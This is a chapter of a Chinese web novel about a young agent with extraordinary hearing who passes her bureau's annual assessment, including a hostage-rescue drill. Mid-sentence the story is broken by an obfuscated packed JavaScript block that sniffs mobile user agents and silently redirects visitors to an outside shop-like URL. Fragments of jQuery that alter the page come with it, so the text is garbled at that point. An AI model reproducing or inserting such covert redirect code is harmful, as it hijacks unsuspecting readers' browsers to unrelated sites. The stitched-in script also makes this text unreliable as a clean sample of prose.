周一早晨,杨晓晓刚走进特保局地下三层训练区,就感觉气氛不对。
平时这个时间,训练区只有零星的几个人在做晨练,今天却站了二十多人,分成了几个小组,每个小组前都站着一位拿着记录板的考官。训练区的设备也全部开启,各种指示灯闪烁不停。
“晓晓,这边!”雷昊在不远处挥手。
杨晓晓走过去,看到自己的小队成员已经到齐了。陈树站在他们面前,表情比平时更严肃。
“年度能力测评,今天开始。”陈树言简意赅,“局里统一组织,所有外勤人员都要参加。测评结果决定明年的人员配置、任务等级和津贴标准。”
杨晓晓心里一紧。她加入特保局才几个月,就要参加年度测评?她看向雷昊,雷昊给了她一个“别担心”的眼神。
“你们小队的测评官是郑教官。”陈树指向不远处一位五十多岁、头发花白但腰板笔挺的男人,“他是局里的资深教官,参加过对越反击战,退休后返聘。要求严格,但公平。好好表现。”
郑教官走了过来。他身材不高,但步履沉稳,眼神锐利得像鹰。他扫视四人,目光在杨晓晓身上多停留了一秒。
“杨晓晓,新来的听力能力者。”郑教官声音低沉,“我看过你的训练记录。潜力不错,但稳定性不够。今天让我看看你的真实水平。”
“是,教官。”杨晓晓站直身体。
“测评项目共五项。”郑教官翻开记录板,“第一项,多目标监听。你们面前有五个声源,同时播放不同内容。任务:在十分钟内,准确记录每个声源的关键信息。错一处扣十分,满分一百分。”
训练区中央升起五个圆柱体,每个都发出不同的声音。杨晓晓戴上特制耳机,调整到测评模式。
“开始!”
声音同时涌入耳朵:
一号声源:一段外语新闻播报(俄语?)
二号声源:两个人的对话,背景有街道噪音
三号声源:机器运转声,夹杂着警报
四号声源:一段音乐,但有几个音符被替换成了其他声音
五号声源:极其微弱的心跳声,几乎被其他声音淹没
杨晓晓闭上眼睛,集中精神。她像指挥交响乐一样,给每个声音分配不同的注意力权重。
一号,俄语新闻……关键词“经济合作”“双边会谈”“签署协议”……记下来。
二号,对话……“明天下午三点”“老地方”“货到了”……疑似非法交易?记下来。
三号,机器声……频率稳定,但每隔三十秒有一次异常的“咔哒”声……可能是故障前兆。警报声是火警,音调很高。
四号,音乐……肖邦的夜曲,但第三小节第二个音符被换成了电话拨号音,第七小节被换成了狗叫声……故意的干扰。
五号,心跳……微弱,但规律。心率大约每分钟六十五,健康成年人的正常范围。等等,心跳突然加速了?现在八十五……又慢了……这个人在紧张?
十分钟到。
“停!”郑教官按下计时器。
杨晓晓摘下耳机,额头上已经冒汗。她拿起笔,在答题板上快速写下听到的内容。
郑教官收走答题板,现场与标准答案核对。他的表情没有任何变化,只是用红笔在上面勾画。
“一号声源:俄语新闻,内容关于中俄经济合作,提到三个关键词,你写对了两个,‘签署协议’漏了。扣三分。”
“二号声源:对话,内容是毒品交易暗语。你写对了时间地点,但‘货’指的是‘新型合成毒品’,你没听出来。扣五分。”
“三号声源:模拟工厂设备,异常声音是轴承磨损,你判断为‘故障前兆’,正确。警报类型判断正确。不扣分。”
“四号声源:音乐中的异常声音,你全部找出,正确。不扣分。”
“五号声源:心跳声,你听出了心率变化,正确。但没听出这是两个人的心跳叠加——一个成年人,一个婴儿。扣五分。”
郑教官抬头:“总分八十七。中等偏上。但注意,你在处理二号声源时,被一号声源的音量干扰,错过了关键信息。分配注意力能力需要加强。”
杨晓晓点头:“是,教官。”
第二项测试:噪音环境筛选。
他们被带到一个模拟街区的训练场,里面同时播放着至少二十种声音:车辆鸣笛、人群喧哗、商店音乐、施工噪音……而在这些噪音中,隐藏着三个需要监听的“目标对话”。
这次杨晓晓表现得更好。她学会了“分层过滤”——把噪音当成背景,只聚焦于人的语音频率。十分钟内,她找到了所有三个目标对话,并记录了关键内容。
“九十二分。”郑教官难得地点头,“有进步。你学会了主动屏蔽无关信息。”
第三项:长时间持续专注。
杨晓晓被要求戴着一个脑波监测仪,持续监听一个时断时续的摩尔斯电码信号,持续三十分钟。信号极其微弱,且每隔几分钟就会完全消失十几秒,考验的是注意力的持久性和恢复能力。
这是最折磨人的测试。杨晓晓必须保持高度集中,又不能过度紧张导致疲劳。二十分钟时,她开始感到头晕,但咬牙坚持。
三十分钟结束,她几乎虚脱。但记录显示,她准确捕捉到了百分之九十五的信号。
“九十分。”郑教官看了一眼监测仪数据,“你在第二十三分钟时出现注意力波动,但很快调整回来。抗疲劳能力合格。”
三项基础测试结束,杨晓晓总分269/300,在同期新人中排名靠前。
但她知道,真正的考验在最后。
第四项:模拟营救人质。
训练场被改造成了一个模拟的银行大厅。里面有五名“人质”和两名“绑匪”。杨晓晓的任务是通过监听,判断绑匪的位置、武器、以及人质的状况,为突击小组提供情报。
“这次测试有额外难度。”郑教官说,“五名人质中,有一名是绑匪假扮的。你需要找出他。如果误判,可能导致突击失败和人质伤亡。明白?”
“明白。”杨晓晓深吸一口气。
她戴上增强型监听耳机,进入观察室。透过单向玻璃,她能看到银行大厅里的情况,但主要依靠听力。
大厅里,五名人质坐在地上,双手被绑在身后。两名绑匪在巡逻,手里拿着(训练用的)假枪。一切看起来很正常。
杨晓晓闭上眼睛,屏蔽视觉干扰,专注听声音。
绑匪A在左边,脚步沉重,呼吸粗重,有点紧张。绑匪B在右边,脚步较轻,呼吸平稳,应该是老手。
五名人质:最左边的是个中年男人,呼吸急促,心跳很快,吓坏了。中间是个年轻女性,在小声啜泣。右边是个老人,呼吸有些困难,可能有呼吸道疾病。再右边是个胖男人,一直在嘟囔着什么。最右边是个戴帽子的年轻人,低着头,很安静。
等等。
杨晓晓皱眉。她重新“扫描”每个人的生理声音。
中年男人:心跳130,恐惧的正常反应。
年轻女性:心跳110,啜泣声真实。
老人:呼吸有轻微哮鸣音,但心跳稳定。
胖男人:心跳90,不算快,嘟囔的内容是“放了我,我有钱……”
戴帽子的年轻人:心跳……65?太稳了。而且他的呼吸节奏和绑匪B几乎同步。
杨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191490|197074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晓晓放大监听。她听到年轻人手腕上的绳索有极细微的摩擦声——不是被绑住的人挣扎的那种摩擦,而是有规律的、轻微的移动,像在调整姿势。
她还听到,当绑匪B走过年轻人身边时,有几乎听不见的、指甲轻轻敲击地面的声音——两短一长,像是某种信号。
而年轻人的心跳,在敲击声后,微微加快了一点,然后又恢复平稳。
这不是人质。
这是第三个绑匪,伪装成人质,准备在突击时里应外合。
“报告。”杨晓晓睁开眼睛,“五名人质中,最右边戴帽子的年轻人是绑匪假扮。理由:一,心跳过于平稳,与恐惧状态不符;二,呼吸节奏与绑匪B同步;三,手腕绳索有异常摩擦声;四,与绑匪B有秘密信号交流。”
郑教官盯着她看了几秒,然后按下通讯器:“突击组,注意,五号人质是绑匪假扮,优先控制。”
模拟突击开始。突击组冲进大厅,迅速制服两名巡逻绑匪。就在他们接近“人质”时,那个戴帽子的年轻人突然暴起,从袖子里滑出一把匕首——但突击组早有准备,瞬间将他按倒在地。
演习结束。
郑教官看着杨晓晓,脸上第一次露出笑容:“判断完全正确。你在那种压力下,还能注意到心跳、呼吸同步、细微摩擦声这些细节,很好。这一项,满分。”
杨晓晓松口气,这才发现自己的手心全是汗。
“四项总分369,评级A。”郑教官在记录板上写下评分,“杨晓晓,你的听力天赋确实很高,但更重要的是,你学会了用脑子听,而不是只用耳朵。这是优秀侦察员的素质。”
“谢谢教官。”杨晓晓真心地说。
测评结束,小队成员聚在一起。雷昊的成绩是A-,熊毅是A,林墨是B+。大家都通过了。
“晓晓你可以啊!”雷昊拍她的肩,“A级!新人里没几个能拿A的!”
“运气好。”杨晓晓谦虚。
“不是运气。”陈树走过来,“是你努力的结果。但别骄傲,明天还有最后一项测试。”
“还有?”杨晓晓愣住。
“特殊环境测试。”陈树说,“在完全黑暗、完全隔音的环境里,用听力感知外界。这是对听力能力者的终极考验。”
杨晓晓心里一紧。完全黑暗,完全隔音……那意味着视觉和常规听觉都被剥夺,只能依靠超常听力。
她能行吗?
“回去好好休息。”陈树说,“明天九点,隔音室见。”
回宿舍的路上,杨晓晓还在回想今天的测试。多目标监听、噪音筛选、持续专注、人质识别……每一项都挑战着她的极限。
但她都做到了。
而且做得不错。
她想起刚获得能力时的恐慌,想起第一次训练时的笨拙,想起陈树说的“每个人都要经历这个过程”。
现在的她,已经不再是那个被声音淹没的女孩了。
她是能够掌控声音、利用声音的战士。
手机震动,是王姐发来的消息:“晓晓,明天公司团建,去郊区农家乐,记得穿舒服的鞋!”
杨晓晓苦笑。明天她要在隔音室里接受终极测试,哪有时间去农家乐。
她回复:“王姐,我明天有点事,去不了了。你们玩得开心。”
放下手机,她躺在床上,闭上眼睛。
明天,终极考验。
她能通过吗?
她不知道。
但她会尽全力。
因为她是杨晓晓。
是“耳朵”。
是特保局的特工。
她必须通过。
带着这样的决心,她沉沉睡去。